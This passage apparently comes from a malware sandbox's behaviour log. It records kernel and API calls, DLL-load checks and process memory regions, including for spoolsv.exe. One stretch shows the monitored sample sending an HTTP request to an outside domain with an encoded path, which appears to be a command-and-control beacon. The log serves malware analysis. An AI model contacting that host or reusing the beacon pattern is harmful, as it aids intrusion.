() returned 0x103 [0110.644] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d66000 [0110.644] IdePortDispatch () returned 0x103 [0110.661] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003521000 [0110.662] IdePortDispatch () returned 0x103 [0110.662] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003522000 [0110.662] IdePortDispatch () returned 0x103 [0110.678] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bff000 [0110.678] IdePortDispatch () returned 0x103 [0110.679] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c6e000 [0110.679] IdePortDispatch () returned 0x103 [0110.690] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c72000 [0110.690] IdePortDispatch () returned 0x103 [0110.691] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ddf000 [0110.691] IdePortDispatch () returned 0x103 [0110.695] InternetCrackUrlA (in: lpszUrl="http://6zrt3vuwf-39qwkam.com/evh0yGtD7e5QO1U4Y2xrPTMuNyZiaWQ9bm9uYW1lJmFpZD02NjY3MSZzaWQ9MCZyZD0xNDgxMDE2OTc037x", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0x101dad4 | out: lpUrlComponents=0x101dad4) returned 1 [0110.695] InternetConnectA (hInternet=0xcc0004, lpszServerName="6zrt3vuwf-39qwkam.com", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0110.695] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/evh0yGtD7e5QO1U4Y2xrPTMuNyZiaWQ9bm9uYW1lJmFpZD02NjY3MSZzaWQ9MCZyZD0xNDgxMDE2OTc037x", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x84003100, dwContext=0x0) returned 0xcc000c [0110.696] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders="Accept-Language: en-us", dwHeadersLength=0xffffffff, lpOptional=0x0, dwOptionalLength=0x0) [0110.703] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\rasapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0110.717] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\rasman.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0110.757] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d42000 [0110.757] IdePortDispatch () returned 0x103 [0110.757] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880047ae6a0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d44000 [0110.758] IdePortDispatch () returned 0x103 [0110.758] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d47000 [0110.758] IdePortDispatch () returned 0x103 [0110.759] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\rtutils.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0110.759] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d4a000 [0110.759] IdePortDispatch () returned 0x103 [0110.760] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d5a000 [0110.760] IdePortDispatch () returned 0x103 [0110.762] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d5b000 [0110.762] IdePortDispatch () returned 0x103 [0110.763] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d5f000 [0110.763] IdePortDispatch () returned 0x103 [0110.774] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d62000 [0110.774] IdePortDispatch () returned 0x103 [0110.778] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d94000 [0110.778] IdePortDispatch () returned 0x103 [0110.852] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b38000 [0110.852] IdePortDispatch () returned 0x103 [0110.853] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880047ae6a0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b3a000 [0110.853] IdePortDispatch () returned 0x103 [0110.853] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b3d000 [0110.854] IdePortDispatch () returned 0x103 [0110.854] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\SensApi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0110.854] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b40000 [0110.854] IdePortDispatch () returned 0x103 [0110.855] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b45000 [0110.855] IdePortDispatch () returned 0x103 [0110.855] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b48000 [0110.855] IdePortDispatch () returned 0x103 [0110.964] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d5000 [0110.964] IdePortDispatch () returned 0x103 [0110.965] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880047ae6a0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d7000 [0110.965] IdePortDispatch () returned 0x103 [0110.965] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035da000 [0110.965] IdePortDispatch () returned 0x103 [0110.966] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\nlaapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0110.966] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035dd000 [0110.966] IdePortDispatch () returned 0x103 [0110.967] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ed000 [0110.967] IdePortDispatch () returned 0x103 [0110.967] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000a00000 [0110.967] IdePortDispatch () returned 0x103 [0110.968] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b0a000 [0110.968] IdePortDispatch () returned 0x103 [0111.006] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\rasadhlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 352 os_tid = 0x5ac Thread: id = 360 os_tid = 0x5d0 [0110.282] RtlEnumerateGenericTable (Table=0xb4e2b0, Restart=1) returned 0x0 [0110.282] RtlEnumerateGenericTable (Table=0xb4e2f8, Restart=1) returned 0x0 [0110.282] Sleep (dwMilliseconds=0x2710) [0120.440] RtlEnumerateGenericTable (Table=0xb4e2b0, Restart=1) returned 0x0 [0120.440] RtlEnumerateGenericTable (Table=0xb4e2f8, Restart=1) returned 0x0 [0120.440] Sleep (dwMilliseconds=0x2710) [0130.595] RtlEnumerateGenericTable (Table=0xb4e2b0, Restart=1) returned 0x0 [0130.595] RtlEnumerateGenericTable (Table=0xb4e2f8, Restart=1) returned 0x0 [0130.595] Sleep (dwMilliseconds=0x2710) Thread: id = 496 os_tid = 0x7f8 [0115.906] RtlLookupElementGenericTable (Table=0xb4e268, Buffer=0x126f380) returned 0x0 [0115.906] RtlLookupElementGenericTable (Table=0xb4e220, Buffer=0x126f380) returned 0x0 [0115.907] RtlLookupElementGenericTable (Table=0xb4e268, Buffer=0x126f3a4) returned 0x0 [0115.907] RtlLookupElementGenericTable (Table=0xb4e220, Buffer=0x126f3a4) returned 0x0 Thread: id = 500 os_tid = 0x448 Thread: id = 503 os_tid = 0x474 [0111.057] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034dc000 [0111.057] IdePortDispatch () returned 0x103 [0111.058] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880047ca6a0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034de000 [0111.058] IdePortDispatch () returned 0x103 [0111.058] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e1000 [0111.058] IdePortDispatch () returned 0x103 [0111.059] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\NapiNSP.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0111.059] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e3000 [0111.059] IdePortDispatch () returned 0x103 [0111.060] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f4000 [0111.060] IdePortDispatch () returned 0x103 [0111.061] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f6000 [0111.061] IdePortDispatch () returned 0x103 [0111.061] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034fa000 [0111.061] IdePortDispatch () returned 0x103 [0111.062] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034fe000 [0111.062] IdePortDispatch () returned 0x103 [0111.077] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800350b000 [0111.077] IdePortDispatch () returned 0x103 [0111.078] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880047ca6a0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800350d000 [0111.078] IdePortDispatch () returned 0x103 [0111.078] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800350f000 [0111.078] IdePortDispatch () returned 0x103 [0111.079] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\pnrpnsp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0111.079] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003511000 [0111.079] IdePortDispatch () returned 0x103 [0111.080] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003522000 [0111.080] IdePortDispatch () returned 0x103 [0111.080] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003524000 [0111.080] IdePortDispatch () returned 0x103 [0111.081] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800352a000 [0111.081] IdePortDispatch () returned 0x103 [0111.081] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003532000 [0111.081] IdePortDispatch () returned 0x103 [0111.094] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\mswsock.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0111.095] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003535000 [0111.095] IdePortDispatch () returned 0x103 [0111.096] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880047ca6a0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003536000 [0111.096] IdePortDispatch () returned 0x103 [0111.097] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003539000 [0111.097] IdePortDispatch () returned 0x103 [0111.097] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\winrnr.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0111.097] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800353c000 [0111.097] IdePortDispatch () returned 0x103 [0111.098] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003545000 [0111.098] IdePortDispatch () returned 0x103 [0111.098] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003548000 [0111.098] IdePortDispatch () returned 0x103 [0111.109] RtlLookupElementGenericTable (Table=0xb4e268, Buffer=0x138f33c) returned 0x0 [0111.109] RtlLookupElementGenericTable (Table=0xb4e220, Buffer=0x138f33c) returned 0x0 [0111.110] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\mswsock.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0111.112] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\wship6.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0111.125] RtlLookupElementGenericTable (Table=0xb4e268, Buffer=0x138f360) returned 0x0 [0111.125] RtlLookupElementGenericTable (Table=0xb4e220, Buffer=0x138f360) returned 0x0 [0111.197] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\FWPUCLNT.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.682] RtlLookupElementGenericTable (Table=0xb4e268, Buffer=0x138f340) returned 0x0 [0115.682] RtlLookupElementGenericTable (Table=0xb4e220, Buffer=0x138f340) returned 0x0 [0115.683] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\clbcatq.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.686] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800357b000 [0115.686] IdePortDispatch () returned 0x103 [0115.686] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880047ca6a0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800357c000 [0115.686] IdePortDispatch () returned 0x103 [0115.687] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800357f000 [0115.687] IdePortDispatch () returned 0x103 [0115.689] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\netprofm.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.689] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003584000 [0115.689] IdePortDispatch () returned 0x103 [0115.689] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003594000 [0115.689] IdePortDispatch () returned 0x103 [0115.690] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003598000 [0115.690] IdePortDispatch () returned 0x103 [0115.690] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a7000 [0115.690] IdePortDispatch () returned 0x103 [0115.691] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035b9000 [0115.691] IdePortDispatch () returned 0x103 [0115.743] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\cryptsp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.797] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\rsaenh.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.810] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\RpcRtRemote.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.844] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880048c66a0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003535000 [0115.844] IdePortDispatch () returned 0x103 [0115.845] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003538000 [0115.845] IdePortDispatch () returned 0x103 [0115.845] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\npmproxy.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.846] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800353b000 [0115.846] IdePortDispatch () returned 0x103 [0115.846] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003542000 [0115.846] IdePortDispatch () returned 0x103 [0115.847] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003555000 [0115.847] IdePortDispatch () returned 0x103 [0115.855] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003559000 [0115.855] IdePortDispatch () returned 0x103 [0115.860] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800359d000 [0115.860] IdePortDispatch () returned 0x103 [0115.862] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ad000 [0115.862] IdePortDispatch () returned 0x103 [0115.863] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035bd000 [0115.863] IdePortDispatch () returned 0x103 [0115.863] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035cd000 [0115.863] IdePortDispatch () returned 0x103 [0115.872] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\dhcpcsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.891] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\dhcpcsvc6.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 530 os_tid = 0x320 Thread: id = 531 os_tid = 0x344 Process: id = "29" image_name = "spoolsv.exe" filename = "c:\\windows\\system32\\spoolsv.exe" page_root = "0x6d47000" os_pid = "0x514" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0x1d4" cmd_line = "C:\\Windows\\System32\\spoolsv.exe" cur_dir = "C:\\Windows\\system32\\" Region: id = 2593 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2594 start_va = 0x30000 end_va = 0x6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2595 start_va = 0x70000 end_va = 0x73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 2596 start_va = 0x80000 end_va = 0x80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 2597 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 2598 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2599 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2600 start_va = 0xffe60000 end_va = 0xffeebfff entry_point = 0xffe6f1e0 region_type = mapped_file name = "spoolsv.exe" filename = "\\Windows\\System32\\spoolsv.exe" Region: id = 2601 start_va = 0x7fefff70000 end_va = 0x7fefff70fff entry_point = 0x7fefff70000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 2602 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2603 start_va = 0x7fffffdd000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 2604 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2616 start_va = 0x10000 end_va = 0x23fff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2617 start_va = 0x90000 end_va = 0x90fff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2618 start_va = 0x280000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 2619 start_va = 0x77a30000 end_va = 0x77b4efff entry_point = 0x77a45ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" Region: id = 2620 start_va = 0x7fefde00000 end_va = 0x7fefde6afff entry_point = 0x7fefde030e0 region_type = mapped_file name = "KernelBase.dll" filename = "\\Windows\\System32\\KernelBase.dll" Region: id = 2636 start_va = 0xa0000 end_va = 0xaffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 2637 start_va = 0xb0000 end_va = 0x116fff entry_point = 0xb0000 region_type = mapped_file name = "locale.nls" filename = 